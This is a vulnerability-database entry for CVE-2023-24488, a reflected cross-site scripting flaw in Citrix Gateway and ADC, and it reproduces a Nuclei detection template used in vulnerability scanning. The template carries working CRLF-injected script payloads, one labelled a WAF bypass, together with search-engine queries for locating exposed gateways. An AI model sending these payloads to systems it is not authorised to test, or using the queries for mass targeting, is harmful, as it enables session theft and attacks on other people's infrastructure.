Citrix Gateway and Citrix ADC - Cross-Site Scripting

🗓️ 03 Jul 2026 13:39:16Reported by ProjectDiscoveryType

Citrix Gateway and Citrix ADC versions before 13.1 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation

Reporter	Title	Published	Views	Family All 20
GithubExploit	Exploit for Cross-site Scripting in Citrix Gateway	4 Jul 202318:02	–	githubexploit
GithubExploit	Exploit for Cross-site Scripting in Citrix Gateway	1 Jul 202317:47	–	githubexploit
GithubExploit	Exploit for Cross-site Scripting in Citrix Gateway	31 Jul 202311:29	–	githubexploit
BDU FSTEC	The vulnerability of Citrix ADC application delivery controllers (formerly known as Citrix NetScaler Application Delivery Controller), as well as the Citrix Gateway access control system (formerly known as Citrix NetScaler Gateway)—exist due to the lack of protective measures for website structures. This allows attackers to carry out cross-site scripting attacks.	26 Jul 202300:00	–	bdu_fstec
Circl	CVE-2023-24488	1 Jul 202317:36	–	circl
Tenable Nessus	Citrix ADC and Citrix Gateway Multiple Vulnerabilities (CTX477714)	11 May 202300:00	–	nessus
Tenable Nessus	Citrix Gateway / ADC Cross-Site Scripting	13 Jul 202300:00	–	nessus
CNNVD	Citrix Systems Citrix Gateway和Citrix ADC 跨站脚本漏洞	10 Jul 202300:00	–	cnnvd
Citrix	Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-24487, CVE-2023-24488	9 May 202313:26	–	citrix
Citrix	Netscaler CVE & Security Guide	14 Jul 202400:00	–	citrix

Source	Link
support	www.support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
blog	www.blog.assetnote.io/2023/06/29/citrix-xss-advisory/
nvd	www.nvd.nist.gov/vuln/detail/CVE-2023-24488
twitter	www.twitter.com/infosec_au/status/1674786106381070342
twitter	www.twitter.com/bxmbn/status/1675250259608449026

id: CVE-2023-24488

info:
  name: Citrix Gateway and Citrix ADC - Cross-Site Scripting
  author: johnk3r,DhiyaneshDk
  severity: medium
  description: |
    Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
    - https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24488
    - https://twitter.com/infosec_au/status/1674786106381070342
    - https://twitter.com/bxmbn/status/1675250259608449026
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24488
    cwe-id: CWE-79
    epss-score: 0.80907
    epss-percentile: 0.99582
    cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: gateway
    shodan-query:
      - title:"Citrix Gateway"
      - http.title:"citrix gateway"
    fofa-query: title="citrix gateway"
    google-query: intitle:"citrix gateway"
  tags: cve2023,cve,citrix,xss,adc,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <body x='&'onload="(alert)('citrix akamai bypass')">
          - <script>alert(document.domain)</script>
        condition: or

      - type: word
        part: body
        words:
          - "Content-Type: text/html"

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100a9b22636f933f3a451359065e444129481e64e0360834acbf4c69004f69982e402210087d81adeea926f7085239a0d2b232aba87fbb27cb90376dd44818ca800c318e6:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

6.6Medium risk

Vulners AI Score6.6

CVSS 3.16.1

EPSS0.80907

SSVC